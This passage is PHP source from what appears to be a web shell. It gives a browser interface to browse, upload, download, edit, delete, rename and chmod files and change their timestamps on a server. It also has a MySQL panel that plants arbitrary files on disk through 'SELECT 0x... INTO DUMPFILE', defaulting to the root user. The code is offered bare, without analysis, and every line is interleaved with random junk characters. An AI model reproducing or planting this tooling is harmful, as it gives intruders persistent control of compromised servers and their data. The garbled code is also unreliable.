& w% U7 F0 l5 e7 J - formhead(array('name'=>'createdir'));; ?9 ~% H7 k, T% h, y
- makehide('newdirname');
% s6 y: V4 }$ b6 A0 R" [8 o1 v( u/ e - makehide('dir',$nowpath);+ Q1 |" W) H4 b
- formfoot();( N B# k. N: y% D4 j+ C2 v
- formhead(array('name'=>'fileperm'));! H9 v' ?' I2 H! q
- makehide('newperm');3 c, H1 N+ ]: j; E$ x/ b; `1 b
- makehide('pfile');
6 D0 h" S- `7 o - makehide('dir',$nowpath);
) x: r$ K0 l; b5 l) |2 {1 r. O - formfoot();
2 Z' k- }5 a( {+ f' w8 p- `6 T% ^ - formhead(array('name'=>'copyfile'));" f2 o/ `2 N) E; S+ ^) \
- makehide('sname');9 i/ {, _ d9 ?+ E1 U
- makehide('tofile');4 j5 U' |% ?1 F# L
- makehide('dir',$nowpath);
3 y( T7 ]/ C9 t$ [ - formfoot();9 d9 b5 h9 m: F: H' c$ P
- formhead(array('name'=>'rename'));
0 _8 x8 _, m6 v3 K; f$ L8 K* i7 y! S - makehide('oldname');
, ]) c2 L1 Y1 v. b2 K+ a - makehide('newfilename');
$ g" U' J* b) S& f6 n+ i$ G - makehide('dir',$nowpath);6 c# ^4 b. `$ c. \# z
- formfoot();. X2 h4 b9 _! m$ C
- formhead(array('name'=>'fileopform'));$ H" K% N6 F1 T2 K/ i/ D2 X% @
- makehide('action');
' ? a: I) N: y# h5 k( F - makehide('opfile');
A2 Y# U& G6 i; B. _4 }4 o u; P - makehide('dir');9 U' r+ x- ?1 W/ h* p. Z
- formfoot(); H0 |' S0 b# J% e
- * O: x1 [( V* p. `- b( ]5 W+ B) v: O
- $free = @disk_free_space($nowpath);, J6 b9 J# D3 ? x1 |
- !$free && $free = 0;# C& z* \3 ]( K% b' }
- $all = @disk_total_space($nowpath);0 i% K6 x! C0 P, |9 |9 t. g2 Q& N
- !$all && $all = 0;
% p* c( W% r8 X; J' m% T - $used = $all-$free;
: [; T5 ?# E s* P - $used_percent = @round(100/($all/$free),2);: a3 T- R( s6 q
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
% X# n& z# ]. C. _) M' r6 X - & N" N# v8 e- G& z* s& e2 z( ~
- ?>
. Q$ C- `. S' Q, F- w' ^ - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
0 D0 U3 M. ~* }. g$ C3 L - <form action="" method="post" id="godir" name="godir"># l8 F+ ~2 o' B. R T6 U( H) ?
- <tr>
4 s0 h, @6 Y/ x6 @' D - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
2 h8 A( R: W9 M - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
6 B0 R) }. d" i. z9 ] - <td nowrap><input class="bt" value="GO" type="submit"></td>: d$ u' T2 m8 W7 t2 N) R
- </tr>1 {, Z, J+ e0 j
- </form>) I: N% a- \7 V4 B! X x
- </table>& _: R, l2 F1 Q, s
- <script type="text/javascript">
% k& L& T: K* W( m# C - function createdir(){
: b1 }3 p8 @: _6 b! } - var newdirname;
+ o1 s- Y+ O$ D9 Z5 q - newdirname = prompt('Please input the directory name:', '');
; t& F" |& ~2 { V; I( G; S( W! f - if (!newdirname) return;; O7 f: O! h+ ^9 s
- $('createdir').newdirname.value=newdirname;
5 n- G- h$ A( ]. W; S - $('createdir').submit();% U; E- q! y5 n) k/ n( q
- }5 w! u6 m& K: x' Q' V2 ?& O: N7 o
- function fileperm(pfile){
8 D; u$ X4 @; M9 W7 t - var newperm;. a+ o, Z; K7 N8 D% |
- newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');5 U9 ~$ n3 A2 N+ n2 j% b x {) \
- if (!newperm) return;$ |' [6 z% `- j2 C# q
- $('fileperm').newperm.value=newperm;7 s$ t; k. |9 q, g$ P
- $('fileperm').pfile.value=pfile;% r6 H; Q7 _6 m# C/ G
- $('fileperm').submit();
" [. t/ [0 h4 o( S - }
& w; f5 a. A+ O3 y2 Q& V+ V - function copyfile(sname){3 v) x3 ]3 Z& T! t! {
- var tofile;2 C: C: H# @: o+ C, h3 I
- tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
" O4 C# X6 b0 T( m5 K' m3 Y' m* C - if (!tofile) return;
) Z7 d+ B% q9 u; q' J: T- ?+ T6 G - $('copyfile').tofile.value=tofile;
# i2 A8 E( @( N - $('copyfile').sname.value=sname;
7 N, x8 P; d# x4 Y6 T- ~ - $('copyfile').submit();
5 X w. \' v( F6 M7 O* K - }; ]# |! {: L9 U( }( V/ f+ ~
- function rename(oldname){
1 @$ [/ I4 W3 H* ~# b f - var newfilename;( _) X% [8 m, ]( n0 N
- newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');7 @: s& [3 w" b6 D# U- Y# a
- if (!newfilename) return;
a( w- g, j% y$ B; @- g. U - $('rename').newfilename.value=newfilename;
0 C4 b9 p3 L5 w; s; D - $('rename').oldname.value=oldname;; ]( H. ?. j: x0 c G; k7 o/ q6 z1 H
- $('rename').submit();& `9 ]/ v% d* `
- }
+ ?' D1 w8 l6 {( q$ K/ x6 r8 G - function dofile(doing,thefile,m){
8 V4 r( P6 U; e) C: j* Y+ _ S - if (m && !confirm(m)) {3 I8 S' v& Z7 A
- return;! Q8 `, H4 @. C0 R* }
- }
* s, }5 c1 x" _ t# ]2 y x) w' d+ V; t - $('filelist').doing.value=doing;3 }" v+ R' ]1 O$ L' t. O0 V/ l! S) T
- if (thefile){
- c3 i8 G, P: \, w5 E4 u) t - $('filelist').thefile.value=thefile;
9 Y& Z m$ |* T0 J - }$ I0 C8 ~- S6 H0 H
- $('filelist').submit();
2 {) ~% z: w) Z; z, t - }
+ f& Q- T- f5 z6 g% ~/ R - function createfile(nowpath){
; F; V1 g1 b" [" Z( f+ b8 H - var filename;8 ?0 Z+ Y7 E1 g( J! g, g/ L
- filename = prompt('Please input the file name:', '');5 P. L* W8 H; q( c$ t% q" W& m
- if (!filename) return;, s( ]. [7 J7 k" P+ A2 _0 x; j
- opfile('editfile',nowpath + filename,nowpath);
9 k9 e1 q' I- I4 P3 b, `. ` - }# s, I- G! G: C, v# E; ~+ q
- function opfile(action,opfile,dir){
I' k* ~/ X% a# Y1 t - $('fileopform').action.value=action;
1 }6 y# j" e, Z6 {: ]) j( D2 N - $('fileopform').opfile.value=opfile;
]* S4 p3 w4 b( M6 O- _& ~2 [ - $('fileopform').dir.value=dir;1 [8 X+ D8 n" V# \- g
- $('fileopform').submit();/ l8 j! {9 H) F+ I
- }+ m; c1 U! V1 N) k; \
- function godir(dir,view_writable){% L% M- W z9 V7 K1 L8 |* c B& c
- if (view_writable) {4 }' g1 x9 s- \5 l9 ^2 [- J- F
- $('godir').view_writable.value=1;
) E8 g& M% M# M: m8 Z" a, y - }/ c% N; s: g2 z& z- k; r1 I- _* x ?
- $('godir').dir.value=dir;
1 Y- A# Y- X: ^0 m8 _ - $('godir').submit();
& \& b$ x9 i& O( O( S! X/ } - }
. {1 z5 @( j3 K8 W- R - </script>
h: E# f& i% S1 a) c( K3 n5 y; v - <?php- m/ U/ G0 s$ y6 i& W* j
- tbhead();
; \4 i* m7 r; k* T - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');0 E4 B' v" |' h. |. R' y; L( b0 V
- p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
F2 K" }7 x1 ]4 D$ O, i% E - p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
! ]; y5 ?/ M4 s% C4 w - if ($view_writable) {
( i6 {- o- [7 R# @ - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');! ~5 A! B' V- j, L6 t
- } else {$ e, I+ K7 S* }3 [5 o2 o+ E& B
- p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
* L: J. U6 T6 [3 g - }
# h6 L* T& O( ~9 x+ i9 m* } - p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');( c, L* o0 i/ `1 Y- B$ [" R
- if (IS_WIN && IS_COM) {
5 L/ j# n# u: }* G# ?. P8 Z - $obj = new COM('scripting.filesystemobject');3 o6 y. [% P! e1 _) o. S
- if ($obj && is_object($obj)) {
N. e7 s: i2 t* \8 C9 |3 ]) V - $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');1 K( ~+ K I" M4 ^8 L* x
- foreach($obj->Drives as $drive) {
- m, Q2 a6 I6 X( M5 p5 m/ b - if ($drive->DriveType == 2) {
+ ~( X" E" l; B+ S - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
1 N3 l( x: B5 Q% j: m - Free:'.sizecount($drive->FreeSpace).'
, E( e/ R- T; {9 V - Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
( ^6 C* _0 a/ f! F/ s - } else {# Z) n6 Y. Q( k3 P/ \( O) O
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');* m" G4 Q4 t, b l3 W
- }
, p; p# F4 r8 A - }
1 s4 h% _" f0 A( \* W* O1 W - }
. }. ]; u. {- x8 V+ N - }
2 c/ c5 a1 G/ K% b3 o9 u2 v% W -
9 t. R, H9 j2 W+ M1 n t - p('</td></tr></form>');
. e* p0 @+ }, v: j1 P8 Q6 {8 k -
! Q9 _) ] ]# I" A - p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');0 m9 U* x+ }5 A6 A
-
% V: N0 i6 g7 j# @; \* W2 n+ N - //查看所有可写文件和目录5 M. Q5 Z) ~! F' Z+ [! o+ y" ^. f
- $dirdata=array();
B, O/ K: N$ {( U4 B - $filedata=array();
. _3 s5 X5 O( N# t/ I, s -
- ]6 i# E) ^( p - if ($view_writable) {
, z7 I% X" H& d9 e; l - $dirdata = GetList($nowpath);
" u; [. d; O; P e+ J3 n' z - } else {4 u( O* e+ R* r
- // 目录列表
0 V" Z& m* D) L3 `2 m7 H9 S* t - $dirs=@opendir($dir);
+ C, v. r2 v+ A# V - while ($file=@readdir($dirs)) {
6 o; X+ u9 H0 n& `; | - $filepath=$nowpath.$file;
; I1 p/ N6 I1 Y, v - if(@is_dir($filepath)){
" T [& `& p# j7 Y7 j - $dirdb['filename']=$file;
; F3 ], E$ e: q `( U - $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));* E6 D( _' Y2 r( G
- $dirdb['dirchmod']=getChmod($filepath);1 V; q7 ]# h8 c& ^
- $dirdb['dirperm']=getPerms($filepath);+ `: k" T5 d8 x# U) r. e
- $dirdb['fileowner']=getUser($filepath);
& C+ `! G" Q0 X. _ - $dirdb['dirlink']=$nowpath;
' a1 E4 _) ~" e - $dirdb['server_link']=$filepath;$ ~, d& ~1 d0 ~- N
- $dirdb['client_link']=ue($filepath);4 X3 T) f2 h. H5 |' c2 }
- $dirdata[]=$dirdb;
. R( |. o* I$ s& C9 o% h: y" L - } else { " V5 v8 s/ N3 B0 }: d2 y
- $filedb['filename']=$file;' S9 y4 X" d; A. }" G! x& u
- $filedb['size']=sizecount(@filesize($filepath));5 ~7 R3 E- `" Q8 m$ O) q
- $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));+ P! ?4 T) w$ j& f6 M
- $filedb['filechmod']=getChmod($filepath);. {* T. I% I8 C: K+ p
- $filedb['fileperm']=getPerms($filepath);
8 D7 F4 |' @' z# }: F - $filedb['fileowner']=getUser($filepath);
- k/ E* F- Y9 R3 X3 D! i# j+ B - $filedb['dirlink']=$nowpath;9 R9 n/ ]! c3 Q+ P1 B* ~
- $filedb['server_link']=$filepath;
, Z( z0 m: o2 w - $filedb['client_link']=ue($filepath);
3 N2 U4 o+ O0 D# v# S" x2 }' a- @ - $filedata[]=$filedb;+ r4 `! i+ h6 G0 H# x* i- [# U
- }; N8 A9 ~) e& o8 g% J1 b+ p
- }// while7 n' Z- p$ X& }$ S3 p, m w
- unset($dirdb);
# P/ m; c3 A4 l% b: s3 u2 o - unset($filedb);
/ b0 O+ `. u: H2 ] - @closedir($dirs);
" u2 n! n* |5 M; T( }2 N - }
+ [4 b5 s& e( Y - @sort($dirdata);5 B& K7 y. Y: ?. z) N
- @sort($filedata);
+ K/ a5 o& n* C# C - $dir_i = '0';6 D! |) @3 ^9 A- f& p
- foreach($dirdata as $key => $dirdb){# W2 x9 K$ A! s2 t- Q8 ?- W) R
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
* _ ^1 T2 S4 Z3 x1 Q/ ` - $thisbg = bg();
8 G* }# I4 c* W; @3 m4 @ - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');5 v8 A7 z2 w' J& y4 X5 E! ~( E9 j
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
9 @' y' ^. G6 l2 H- N6 p - p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
0 O/ O3 r" f& u! u - p('<td nowrap>'.$dirdb['mtime'].'</td>');
0 }2 f" r4 Z- B$ J; V - p('<td nowrap>--</td>');
$ p% t& S7 v. ^2 } - p('<td nowrap>');
& p& _/ `4 g% q8 A# d - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');8 F" R3 J: u- D& q9 M
- p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
/ G" a% [+ c7 q7 d6 _ - p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
3 u+ t" w! s$ m* ]% P - p('</tr>');$ h9 A$ c) j6 t( C% _4 B
- $dir_i++;
) ~) d j9 c. ` - } else {
- t. V2 |3 A' J& u1 @. F+ X* ` - if($dirdb['filename']=='..') {
; Z d8 \( {& U6 Q - p('<tr class='.bg().'>');
! N/ ~. R0 q. H' T1 b H) i - p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');; X# f& J9 u( k$ I0 C$ P% F
- p('</tr>');' F% u; U K! g1 Y7 Q; f Z. H
- }
7 {2 O1 }# {/ k, S6 S# B - }
) M+ P( I D* A. `& I8 A - }
, t. k0 a6 D. j% B) K5 H9 W - 2 `* y* r! c0 N: v, K
- p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
( V: |0 S# Y( J9 E7 G - p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');6 m: T$ x% A9 K) Y5 v% p
- makehide('action','file');* E$ `3 _- `7 D0 ?9 I
- makehide('thefile');1 |, ?+ h0 H9 s9 T% q+ G7 x
- makehide('doing');0 H- _5 m+ e' \# v5 f4 Y' d' Z
- makehide('dir',$nowpath);( k' d8 w3 E& G3 T% v
- $file_i = '0';% d& E1 A' N6 F! e0 Y! y1 f: N
- foreach($filedata as $key => $filedb){7 M; c- L# D) U! S+ k8 g [8 R1 K
- if($filedb['filename']!='..' && $filedb['filename']!='.') {
6 }- j9 V" r) I1 q - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);" h+ I- \; L( h. H c
- $thisbg = bg();2 Z1 K7 x4 H7 W; |
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
. u& k: E- U) _3 Q4 ~2 l - p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
0 t+ V: ?9 |6 k' b b. h - p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');7 C% \' q3 Z/ ]/ |! u5 u& E
- p('<td nowrap>'.$filedb['mtime'].'</td>');& L+ @3 k; c; A; E& ~" l& T7 b
- p('<td nowrap>'.$filedb['size'].'</td>');
9 }, y8 `; D& a; c- M8 @ - p('<td nowrap>');$ o$ B @4 ?& M# p+ y
- p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
8 Z, Q$ N6 K6 U- T - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
4 u0 J$ D. {+ S5 ]8 C! g - p('<td nowrap>');1 o4 D) X2 H4 Z5 K" W) u6 A/ d, L
- p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');# Y" X* b4 A# {2 P$ R2 D7 J1 F
- p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
2 w* s F* _6 ? - p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');+ \0 \! x$ d; h7 V6 n! ~
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
" l& i3 x5 V, W- r - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');" v( y! L& G8 a' t* b
- p('</td></tr>');9 Z, H4 k* b6 m1 i; e2 Q
- $file_i++;
) c" e$ O; Z8 U5 e0 N - }
( z" K' x- M: s- w! n4 V0 w - }% q3 P2 @" b2 B
- p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
0 o* @4 ?5 b2 h; b7 t( q6 _. E' N$ S" f - p('</form></table>');2 X+ Q% b0 L& A$ O* G$ f+ j7 y
- }// end dir
- K& U$ D, H2 Z0 i& p5 ^- k - ) s4 E k4 i& {$ T) Y+ @
- elseif ($action == 'sqlfile') {
) G: `. T+ P/ T, Y! V9 z z7 s$ R - if($doing=="mysqlupload"){- ?5 T Y& w% w* B$ G" e1 p! G
- $file = $_FILES['uploadfile'];+ O y5 x4 D- Z i1 u
- $filename = $file['tmp_name'];
0 d. C5 I" u# d+ h0 f - if (file_exists($savepath)) {
$ o @$ a* \6 B% |8 W1 R5 _( `# x - m('The goal file has already existed');
# [; h7 j5 Y) d! c4 e$ J% j4 } - } else {
; k: B4 C* G. {% A! j' s - if(!$filename) {
. {& ^; h5 \0 Q2 z. r+ k - m('Please choose a file');, j& s* f/ [8 M0 p
- } else {
, }2 b# ]/ Y! x+ G - $fp=@fopen($filename,'r');3 A$ X5 A, t' M; w) O: ?7 L- H
- $contents=@fread($fp, filesize($filename));; l& S% ]7 @5 _5 A& o
- @fclose($fp);
9 Q8 V: o& J9 W8 I& O - $contents = bin2hex($contents);& X& O: p& O X8 V/ j/ |- `* r/ M
- if(!$upname) $upname = $file['name'];2 Z1 m, z: b' j6 e! J( `4 ~
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
5 U* u4 E6 B5 Z* }0 w - $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");+ e6 @* S3 f ^; `9 |0 m
- m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
- ~5 r8 T4 n* j* S0 X5 ]( l - }4 o, x3 N+ w2 g* d/ l7 |
- }2 g4 U) A! S: i2 b- I
- }
) P4 k0 N# q- ]7 S' \ - ?>. l% H- F6 r2 n% X/ Q
- <script type="text/javascript"># ?: c/ M7 n% L, ~# X% {' [
- function mysqlfile(doing){
9 T) k& q# g. D" p - if(!doing) return;0 ^- B& f+ R7 m
- $('doing').value=doing;% i r& [0 r4 c! _+ p# k' }; L# \
- $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;. W% `; i5 ^8 S( v
- $('mysqlfile').dbport.value=$('dbinfo').dbport.value;4 w+ {, P8 g) S# [- X
- $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
* e5 q' U, c1 ] \ - $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;; [, |6 k. E9 P
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
* S8 k3 M- P8 I N5 ?6 b# o - $('mysqlfile').charset.value=$('dbinfo').charset.value;
8 j/ V( p. x/ l7 a0 S) a$ }3 E - $('mysqlfile').submit();
9 |; X1 S ]& L; v; i - }
9 o) k3 q" W* B - </script>
6 N) f. S l9 E* b, K3 O - <?php. S, \8 B# i! t+ S% M% Q
- !$dbhost && $dbhost = 'localhost';9 |6 `. T' _- p L" B
- !$dbuser && $dbuser = 'root';
5 \4 k" n0 _, l# G+ |' | - !$dbport && $dbport = '3306';
# u( ]2 R: Z8 N) S* u - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');, v* |) O O. P. L7 V/ P
- formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));, m1 ~6 t- Y4 D% B
- makehide('action','sqlfile');# n2 I3 {5 X& g1 E
- p('<p>');
4 V$ Z% v/ `% Q9 a2 u* A* i$ v - p('DBHost:');1 |3 b& m, T8 r4 B) `' z
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));1 n& o0 D0 |2 H2 m- s
- p(':');
/ g& l- S' ?. Q6 ? - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
# \ n9 y3 d ^2 |! Q: l - p('DBUser:');
V; ]8 G( X0 j: E% W! n" h - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));/ I+ L0 C; @; P7 X. y3 m9 E% _
- p('DBPass:');$ Z$ j% A/ \9 F/ E
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
+ T- n- H1 H" C6 y: e8 ?6 b - p('DBName:');
1 ~ \% H" ]) E5 m" @ - makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));! Y' G, G6 } ]5 g' N' A5 D
- p('DBCharset:');
6 `3 {$ Q _9 f6 v7 J: Y2 x2 @ - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));5 |& G' s. ?" S. @
- p('</p>');
9 l" P6 m2 L3 f! m* V/ _ - formfoot();
5 W# n6 t. R& O, W - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');. u0 }6 k1 O! v/ i! u4 B7 @
- p('<h2>Upload file</h2>');
3 e: m3 Z$ Q) b! u6 I - p('<p><b>This operation the DB user must has FILE privilege</b></p>');, f$ r+ t4 Y0 E6 O% b, b" O
- p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
& a4 O! S$ [. X$ F. r, E - p('<h2>Download file</h2>');
8 ^9 x3 z! z' E4 m7 u- x) j; _ - p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
% ^) r/ C3 o8 [+ L4 u$ } - makehide('dbhost');$ r# M6 b2 u. f! g
- makehide('dbport');
0 C" y( j) `6 k - makehide('dbuser');# i' T7 U0 D# W
- makehide('dbpass');
8 ~: g4 T: ?, v3 o* L4 c - makehide('dbname');+ y2 G, ~2 ]$ k E! e- d" f
- makehide('charset');- Y2 g* b* ]0 R) N
- makehide('doing');
/ t# |0 b+ H1 t- u$ k' g' V - makehide('action','sqlfile');
% \' `1 W# C ^( Y o% O8 { - p('</form>');+ ^) D9 P- \# M5 J/ C
- }
) I/ \( ~. {7 e9 N7 Q -
0 B7 K' [$ O* [$ Z5 v' G - elseif ($action == 'sqladmin') {
, e, V$ k. K2 [- _ - !$dbhost && $dbhost = 'localhost';
: d6 L' \7 ~& N7 c! ?. t6 | - !$dbuser && $dbuser = 'root';' e) a6 d6 o) d4 ]2 O, `2 l5 u
- !$dbport && $dbport = '3306';
6 S2 J( s% ?% v1 {4 p K - $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';6 c6 i( C# m/ c* P& V( f# ~
- if(isset($dbhost)){
2 O, l! @9 F# Q1 X& [; P4 ] - $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
" I; {2 [! ^; R3 P Q+ [5 M - }7 V8 A7 `* y+ d! M3 l
- if(isset($dbuser)) {9 [. p9 T$ E, r3 ^
- $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n"; k( h, g# k0 G4 C7 e
- }
; Y7 N" W* i; A* n6 ~ - if(isset($dbpass)) {
* [# o4 I! o- x - $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";9 @: N- H, b, l
- }
3 d7 X( b8 K. A) K3 _ - if(isset($dbport)) {' L/ k% m1 x" f9 n
- $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";% Y& o1 n& `% J3 Z( {) ]- a" s
- }7 `+ X, S9 J& h- r' Z
- if(isset($dbname)) {0 \: I7 g" Q; e
- $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";& @: x& e4 j9 o, S9 e9 Y
- }
# N2 ~" ^! z' o ` n2 Y: g( R - if(isset($charset)) {
, W; `% g* u) N: S: { - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
6 D- D- N7 g; b" Z9 l. t1 D% s - }- U- \% C# }) b7 _1 h; R: p6 k
- 4 U& S# |2 b# r& t: U5 U2 P" b! s, x4 R0 z
- if ($doing == 'backupmysql' && $saveasfile) {2 R1 R$ q5 B6 x
- if (!$table) {/ {5 ^% G2 h+ i1 z {% Z( F+ [8 |
- m('Please choose the table');; ]5 j5 r& ?& t' L
- } else {; v; [! ^* Z/ q& n( `4 c
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+ M( u& B' J' E& I! U' x B, s- a - $table = array_flip($table);+ \4 V* g i; q( c
- $fp = @fopen($path,'w');
$ z8 l, t; [7 a4 Y - if ($fp) {
$ @' F- N+ P6 I) |8 y, ~' W - $result = q('SHOW tables');! a$ m2 q X& |# K
- if (!$result) p('<h2>'.mysql_error().'</h2>');) K9 w1 a2 c4 |( W Y9 [+ \4 J+ p
- $mysqldata = ''; n: _) f+ d; g
- while ($currow = mysql_fetch_array($result)) {
' o. L4 x' j3 y2 L- J0 ^ - if (isset($table[$currow[0]])) {
4 I4 F& ~- o) e+ K - sqldumptable($currow[0], $fp);
+ h8 L% A/ T0 H# s - }
* M2 m7 v" U% h" K1 O. { - }
" y1 o0 {5 D: u8 y5 X8 M - fclose($fp);8 y8 N( i/ r+ V# B" y; o+ c& v
- $fileurl = str_replace(SA_ROOT,'',$path);
8 \- U/ q$ I ~9 {' h! ?2 K) Y - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');, D( I& y y2 N+ {0 ^- M/ B5 m
- mysql_close();
; X' O* E: s) ? - } else {
! r' F# o: B1 L9 t7 c - m('Backup failed');, j& T, U7 \1 X6 \5 {4 `
- }% b, i3 L ^9 ?
- }
& K& j' w9 J7 b& z - }& i( [% S2 f. I% @+ F0 w9 M% P6 S
- if ($insert && $insertsql) {
8 X9 x1 w( K8 S- G6 S4 b. F - $keystr = $valstr = $tmp = '';
& A3 `) {5 S/ H0 _# m - foreach($insertsql as $key => $val) {. J5 A2 L& l0 s0 U
- if ($val) {
8 j( l# }- u+ C& F0 a8 `! q4 @8 d7 R - $keystr .= $tmp.$key;
4 K( j7 D, m+ @$ S) d2 ~ - $valstr .= $tmp."'".addslashes($val)."'";) I6 E5 S/ t) _! Z9 h) C1 t. `! D& d
- $tmp = ',';' W; N) d. n4 F, u: [ l2 F
- }# `4 w2 r' A/ I6 H2 E9 G4 Y0 P; M
- }
* F6 V8 R( R g" v8 e% I - if ($keystr && $valstr) {4 R7 h9 j8 Q3 i2 M) Z5 L+ C& j
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);! R }0 E9 t# |8 A! ~& t1 |4 l4 c
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());; D Q* Z a* Y# S8 M, m
- }
5 s/ k0 R; Y; r+ k& d. Q: n - }9 x; ?4 a- y$ Y# V
- if ($update && $insertsql && $base64) {
; `8 x9 t4 X9 l3 r7 t; z - $valstr = $tmp = '';
; Q: M9 ?$ F+ o' I* K9 n7 p' L N - foreach($insertsql as $key => $val) {
U' t5 ]& i& i, G0 @ - $valstr .= $tmp.$key."='".addslashes($val)."'";
; j% R. |% l- l1 M - $tmp = ',';7 Z5 P" J7 @ g1 J6 d
- }9 b4 A4 C) I& [; E3 [8 O& E' @
- if ($valstr) {
